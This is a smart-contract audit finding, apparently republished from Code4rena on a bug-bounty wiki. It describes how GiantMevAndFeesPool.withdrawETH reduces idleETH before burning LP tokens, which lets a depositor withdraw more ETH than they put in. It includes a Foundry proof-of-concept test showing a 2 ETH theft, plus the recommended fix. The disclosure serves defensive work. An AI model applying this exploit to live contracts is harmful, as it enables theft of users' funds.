function withdrawETH from GiantMevAndFeesPool can steal most of eth because of idleETH is reduced before burning token
The GiantMevAndFeesPool contract reduces its idleETH balance before burning the user's LP tokens, which causes the reward calculation to overstate accumulated rewards. An attacker could deposit and then withdraw to steal more ETH than they deposited.
ronnyx2017 Follow with cccz
Originally disclosed on Code4rena
Submitted by ronnyx2017, also found by cccz
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantPoolBase.sol#L57-L60 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L176-L178 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L76-L90
The contract GiantMevAndFeesPool override the function totalRewardsReceived:
return address(this).balance + totalClaimed - idleETH;
The function totalRewardsReceived is used as the current rewards balance to caculate the unprocessed rewards in the function SyndicateRewardsProcessor._updateAccumulatedETHPerLP
uint256 received = totalRewardsReceived();
uint256 unprocessed = received - totalETHSeen;
But it will decrease the idleETH first and then burn the lpTokenETH in the function GiantMevAndFeesPool.withdrawETH. The lpTokenETH burn option will trigger GiantMevAndFeesPool.beforeTokenTransfer which will call _updateAccumulatedETHPerLP and send the accumulated rewards to the msg sender. Because of the diminution of the idleETH, the accumulatedETHPerLPShare is added out of thin air. So the attacker can steal more eth from the GiantMevAndFeesPool.
Proof of Concept
I wrote a test file for proof, but there is another bug/vulnerability which will make the GiantMevAndFeesPool.withdrawETH function break down. I submitted it as the other finding named “GiantLP with a transferHookProcessor cant be burned, users’ funds will be stuck in the Giant Pool”. You should fix it first by modifying the code https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L161-L166 to :
if (_to != address(0)) {
_distributeETHRewardsToUserForToken(
_to,
address(lpTokenETH),
lpTokenETH.balanceOf(_to),
_to
);
}
I know modifying the project source code is controversial. Please believe me it’s a bug needed to be fixed and it’s independent of the current vulnerability.
test: test/foundry/TakeFromGiantPools2.t.sol
pragma solidity ^0.8.13;
// SPDX-License-Identifier: MIT
import "forge-std/console.sol";
import {GiantPoolTests} from "./GiantPools.t.sol";
contract TakeFromGiantPools2 is GiantPoolTests {
function testDWUpdateRate2() public{
address feesAndMevUserOne = accountOne; vm.deal(feesAndMevUserOne, 4 ether);
address feesAndMevUserTwo = accountTwo; vm.deal(feesAndMevUserTwo, 4 ether);
// Deposit ETH into giant fees and mev
vm.startPrank(feesAndMevUserOne);
giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
vm.stopPrank();
vm.startPrank(feesAndMevUserTwo);
giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
giantFeesAndMevPool.withdrawETH(4 ether);
vm.stopPrank();
console.log("user one:", getBalance(feesAndMevUserOne));
console.log("user two(attacker):", getBalance(feesAndMevUserTwo));
console.log("giantFeesAndMevPool:", getBalance(address(giantFeesAndMevPool)));
}
function getBalance(address addr) internal returns (uint){
// just ETH
return addr.balance; // + giantFeesAndMevPool.lpTokenETH().balanceOf(addr);
}
}
run test:
forge test --match-test testDWUpdateRate2 -vvv
test log:
Logs:
user one: 0
user two(attacker): 6000000000000000000
giantFeesAndMevPool: 2000000000000000000
The attacker stole 2 eth from the pool.
Tools Used
foundry
Recommended Mitigation Steps
idleETH -= _amount; should be after the lpTokenETH.burn.
vince0656 (Stakehouse) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the order of operations in withdrawETH: idleETH is decreased before the LP tokens are burned, so the reward accounting sees an inflated reward balance during the burn's transfer hook.
Impact
An attacker could steal most of the ETH held in the GiantMevAndFeesPool, as demonstrated by a test where the attacker gained 2 ETH from the pool.
What the attacker needed
Attacker has ETH to deposit; pool has other users' ETH
The fix
The idleETH balance should be decreased after the LP tokens are burned, not before.
How it was found
- Deploy the test contract that inherits from GiantPoolTests.
- Give two user accounts 4 ether each.
- User one deposits 4 ether into the giant fees and mev pool.
- User two deposits 4 ether into the same pool.
- User two withdraws 4 ether from the pool.
- Observe that user two ends up with 6 ether while the pool retains only 2 ether.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a smart contract bug in a staking pool. The pool tracks how much ETH is idle and how many reward tokens each user has. When a user withdraws, the code updates the idle ETH amount before it burns the user's tokens, so the reward calculation sees a smaller idle balance and thinks there are extra rewards to share. That lets an attacker withdraw more ETH than they put in.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.